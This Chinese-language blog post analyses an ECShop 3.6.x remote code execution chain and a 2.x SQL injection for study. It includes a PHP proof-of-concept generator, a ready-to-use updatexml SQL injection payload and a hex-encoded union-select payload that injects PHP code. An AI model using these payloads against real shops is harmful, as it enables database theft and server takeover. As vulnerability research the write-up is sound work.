ECShop 3.6.x RCE 到 4.0 SQLi 漏洞分析

一个从 Nday 到 0day 的漏洞,对此进行复现分析和学习

两年前一个利用很巧妙的全版本的 RCE 的漏洞,近日笔者又看到了 4.0 版本的 SQL 注入漏洞分析。希望能从复现分析的过程中获得一点漏洞挖掘的思路和启示。

3.6.x RCE

漏洞复现

Vulhub上已经有现成的利用脚本

<?php
$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");
$id = "-1' UNION/*";
$arr = [
"num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),
"id" => $id
];

$s = serialize($arr);

$hash3 = '45ea207d7a2b68c49582d2d22adf953a';
$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';

echo "POC for ECShop 2.x: \n";
echo "{$hash2}ads|{$s}{$hash2}";
echo "\n\nPOC for ECShop 3.x: \n";
echo "{$hash3}ads|{$s}{$hash3}";

image-20201124175028636

漏洞分析

触发流程

定位触发点 /user.php

$back_act 附值, 其实这个地方相当于 Referer 字段不包含 user.php 的前提下能达到 $back_act 的变量可控

image-20201124175854342

变量传递

image-20201124183225043

跟进,这里进行了变量注册。将 $back_act 注册成了 $this->_var[$tpl_var]

image-20201124183504327

下面跟进 display/includes/cls_template.php 为模版类, display 为页面显示函数

image-20201124184751849

跟进 fetch,主要为模版处理文件。处理的 filenameuser_passport.dwt

其中这里会触发编译模版函数

image-20201124185436789

跟进make_compiled , 会返回处理好的 hmtl 内容。然后附值给 out

image-20201124190021547

之后会返回 display 函数继续处理未处理的流程,strpos 判断这里是至关重要的一点,涉及到了之后需要调用的 insert_mod

image-20201124190519184

$this->_echash 是之前 /includes/cls_template.php 定义好的

var $_echash        = '45ea207d7a2b68c49582d2d22adf953a';

然后进行 foreach 循环执行 insert_mod

这里 if (($key % 2) == 1) 的作用看一下被切割的 k 就知道了

image-20201124191853741

跟进 insert_mod, 主要完成这几件事儿:

  1. | 分割变量
  2. 反序列化 para
  3. fun 变量的拼接
  4. 返回 $fun($para)

image-20201124191423906

根据返回值引发思考, 我们目前得到的返回值是:$fun($para)

$fun($para)fun 来自 insert_ + 被 explode 的前半部分

para 来自被 explode 的后半部分

那么漏洞利用思路就是执行拼接了 insert_ 的可控函数

问题剖析

  • 问题一

首先是 $back_act 附值方式,为什么采用 Referer 头传入?

image-20201124175854342

其实还有很多其他附值方法:

emample:
$back_act = isset($_POST['back_act']) ? trim($_POST['back_act']) : '';

究其核心原因:

image-20201125153706202

/includes/init.php

image-20201125154151298

addslashes_deep

image-20201125154200642


  • 问题二

为什么字符串是序列化字符串?

/includes/cls_template.php#insert_mod 先分割,再反序列化

image-20201125192053092


  • 问题三

如何bypass

主要过滤

function smarty_prefilter_preCompile($source)
{

···

$pattern = array(
'/<!--[^>|\n]*?({.+?})[^<|{|\n]*?-->/', // 替换smarty注释
'/<!--[^<|>|{|\n]*?-->/', // 替换不换行的html注释
'/(href=["|\'])\.\.\/(.*?)(["|\'])/i', // 替换相对链接
'/((?:background|src)\s*=\s*["|\'])(?:\.\/|\.\.\/)?(images\/.*?["|\'])/is', // 在images前加上 $tmp_dir
'/((?:background|background-image):\s*?url\()(?:\.\/|\.\.\/)?(images\/)/is', // 在images前加上 $tmp_dir
'/([\'|"])\.\.\//is', // 以../开头的路径全部修正为空
);
$replace = array(
'\1',
'',
'\1\2\3',
'\1' . $tmp_dir . '\2',
'\1' . $tmp_dir . '\2',
'\1'
);
return preg_replace($pattern, $replace, $source);
}

SQLi(云复现)

3.x版本引入了 /includes/safety.php 进行过滤。所以 3.x 版本 理论上是不存在 SQL 注入的

image-20201124221247588

但是为了学习思路,还是云复现一下这个 2.x 版本可以利用的漏洞。

之前分析到寻找可控函数进行调用。网上用的都是 insert_ads 这个函数

关于 SQL 注入的利用思考可以参考这篇文章:https://xz.aliyun.com/t/2725

注释掉了 waf 相关的函数(绕不过去),payload 如下

45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:3:"669";s:2:"id";s:57:"1' and updatexml(1,make_set(3,'~',(select version())),1)#";}

执行的相应 SQL 语句:

SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop360`.`ecs_ad` AS a LEFT JOIN `ecshop360`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1606229787' AND end_time >= '1606229787' AND a.position_id = '1' and updatexml(1,make_set(3,'~',(select version())),1)#' ORDER BY rnd LIMIT 669

image-20201124225708206

RCE

回顾 /includes/lib_insert.php#insert_ads

function insert_ads($arr)
{
static $static_res = NULL;

$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
$ads = array();
$position_style = '';

foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}

········

$position_style = 'str:' . $position_style;

$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;

$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);

$GLOBALS['smarty']->caching = $need_cache;

return $val;
}

在这一步关键的附值,$row['position_style'] 来自$res = $GLOBALS['db']->GetAll($sql) 查询后 foreach 遍历的结果。有几个关注的点:

  1. 首先关注 $position_style 这个变量
  2. 关注 $row['position_id'] != $arr['id'] (相等调用 $position_style = $row['position_style'];

image-20201125194129600

在下面完成拼接

image-20201125120549159

会调用 fetch

image-20201125011036242

/includes/cls_template.php 145 行是一个关键点。无非两个函数:

  1. fetch_str
  2. _eval

image-20201125120749172

肯定首先得 fetch_str 处理截断后的 filename ,也就是

{$asd'];phpinfo\t();//}xxx

后面经过一顿操作,各种替换之后,原来的值变成了 $asd'];phpinfo\t();//

进入 select 函数,关键点如下。返回值是直接 php echo 出来的

image-20201125124304197

后面的过程在第一次分析的时候是懵逼的,其实是缺乏了对前面 SQL 语句的大局观,而且流程很杂,各种 replace 的替换和各种 if

@badcode 从宏观上总结的 SQL 语句和最后 position_style 的关系已经很简洁了。我这里不再复述

接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

get_var 中会调用 make_var,最后返回值

image-20201125125626867

$position_style 的演变

{$asd'];phpinfo\t();//}xxx
$res = $static_res[$arr['id']]; -> foreach ($res AS $row) -> $position_style = $row['position_style'];

str:{$asd'];phpinfo\t();//}xxx
$position_style = 'str:' . $position_style;

$asd'];phpinfo\t();//}xxx
return preg_replace_callback("/{([^\}\{\n]*)}/", function($r) use(&$template){return $template->select($r[1]);}, $source);

asd'];phpinfo\t();//
elseif ($tag{0} == '$'){return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';}

$this->_var['asd'];phpinfo\t();//']
foreach ($t AS $val) { $p.= '[\'' . $val . '\']'; }

最后输出 phpinfo()

image-20201125130011473

4.0 SQLi

没找到安装包233333…先咕咕咕了~~~

https://mp.weixin.qq.com/s/xHioArEpoAqGlHJPfq3Jiw

http://foreversong.cn/archives/1556

参考链接

https://paper.seebug.org/695/

网鼎杯线下半决赛 faka 题目复盘 浏览器解析机制与渲染过程
Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×